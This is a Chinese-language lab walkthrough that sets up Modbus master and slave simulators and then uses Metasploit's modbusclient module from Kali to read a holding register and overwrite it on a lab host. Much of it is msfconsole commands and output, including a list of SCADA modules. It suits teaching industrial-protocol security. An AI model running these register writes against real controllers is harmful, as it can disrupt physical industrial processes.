1. 环境配置
1.1 机器配置
modbus poll:win10虚拟机
modbus slave:win10物理机
攻击机:kali虚拟机+msf
1.2 拓扑图
2. MODBUS主从模拟器介绍
2.1 简介
Modbus Poll :Modbus主机仿真器,用于测试和调试Modbus从设备。该软件支持ModbusRTU、ASCII、TCP/IP。用来帮助开发人员测试Modbus从设备,或者其它Modbus协议的测试和仿真。它支持多文档接口,即,可以同时监视多个从设备/数据域。每个窗口简单地设定从设备ID,功能,地址,大小和轮询间隔。你可以从任意一个窗口读写寄存器和线圈。如果你想改变一个单独的寄存器,简单地双击这个值即可。或者你可以改变多个寄存器/线圈值。提供数据的多种格式方式,比如浮点、双精度、长整型(可以字节序列交换)。
Modbus Slave:Modbus从设备仿真器,可以仿真32个从设备/地址域。每个接口都提供了对EXCEL报表的OLE自动化支持。主要用来模拟Modbus从站设备,接收主站的命令包,回送数据包。帮助Modbus通讯设备开发人员进行Modbus通讯协议的模拟和测试,用于模拟、测试、调试Modbus通讯设备。可以32个窗口中模拟多达32个Modbus子设备。与Modbus Poll的用户界面相同,支持功能01, 02, 03, 04, 05, 06, 15, 16, 22和23,监视串口数据。
安装后的主从站是这个样子
然后这里我们先用poll主站点击connection,这里没有注册码直接点击OK,然后设置你的从站ip
然后去slave设置本地ip,并且选择modbus tcp/ip
然后这里是对应操作的代码号
然后我们再主站上修改值,可以看到从站也跟着改变
参考:https://blog.csdn.net/byxdaz/article/details/77979114
3. 攻击流程
操作之前我们用攻击机kali去ping下从站机器是否可以ping通
ok这样可以保证我们的msf可以操作到从站机器
3.1 读取寄存器操作
启动msfconsole
然后寻找modbus利用模块
msf6 > search modbus Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/scada/modicon_command 2012-04-05 normal No Schneider Modicon Remote START/STOP Command 1 auxiliary/admin/scada/modicon_stux_transfer 2012-04-05 normal No Schneider Modicon Ladder Logic Upload/Download 2 auxiliary/analyze/modbus_zip normal No Extract zip from Modbus communication 3 auxiliary/scanner/scada/modbus_banner_grabbing normal No Modbus Banner Grabbing 4 auxiliary/scanner/scada/modbus_findunitid 2012-10-28 normal No Modbus Unit ID and Station ID Enumerator 5 auxiliary/scanner/scada/modbusclient normal No Modbus Client Utility 6 auxiliary/scanner/scada/modbusdetect 2011-11-01 normal No Modbus Version Scanner
然后我们利用auxiliary/scanner/scada/modbusclient
查看一下配置,首先我们可以看看有哪些操作
msf6 auxiliary(scanner/scada/modbusclient) > set action set action READ_COILS set action READ_INPUT_REGISTERS set action WRITE_REGISTER set action READ_DISCRETE_INPUTS set action WRITE_COIL set action WRITE_REGISTERS set action READ_HOLDING_REGISTERS set action WRITE_COILS
有对线圈的读写操作,首先我们可以进行应该读的操作
msf6 auxiliary(scanner/scada/modbusclient) > set action READ_HOLDING_REGISTERS action => READ_HOLDING_REGISTERS msf6 auxiliary(scanner/scada/modbusclient) > set rhosts 10.0.7.148 rhosts => 10.0.7.148 msf6 auxiliary(scanner/scada/modbusclient) > set data_address 2 data_address => 2 msf6 auxiliary(scanner/scada/modbusclient) > options
然后查看下发现,功能、ip、查看的数据地址已经设置完成了
然后我们run一下
此时对应的值为2323,这样应该读寄存器的操作就完成了
3.2 写寄存器操作
然后修改下利用写功能
msf6 auxiliary(scanner/scada/modbusclient) > set action WRITE_REGISTER action => WRITE_REGISTER msf6 auxiliary(scanner/scada/modbusclient) > optiions [-] Unknown command: optiions. msf6 auxiliary(scanner/scada/modbusclient) > options Module options (auxiliary/scanner/scada/modbusclient): Name Current Setting Required Description ---- --------------- -------- ----------- DATA 0 no Data to write (WRITE_COIL and WRITE_REGISTER modes only) DATA_ADDRESS 2 yes Modbus data address DATA_COILS no Data in binary to write (WRITE_COILS mode only) e.g. 0110 DATA_REGISTERS no Words to write to each register separated with a comma (WRITE_REGISTERS mode only) e.g. 1,2,3,4 NUMBER 1 no Number of coils/registers to read (READ_COILS, READ_DISCRETE_INPUTS, READ_HOLDING_REGISTERS, READ_INPUT_REGISTERS modes only) RHOSTS 10.0.7.148 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 502 yes The target port (TCP) UNIT_NUMBER 1 no Modbus unit number Auxiliary action: Name Description ---- ----------- WRITE_REGISTER Write one word to a register
然后我们设置下配置内容
刚才我们已经设置好了iP,然后我们把写入的地址和值都改一下然后运行
然后我们发现地址2的值修改为了1700,这样写的操作完成了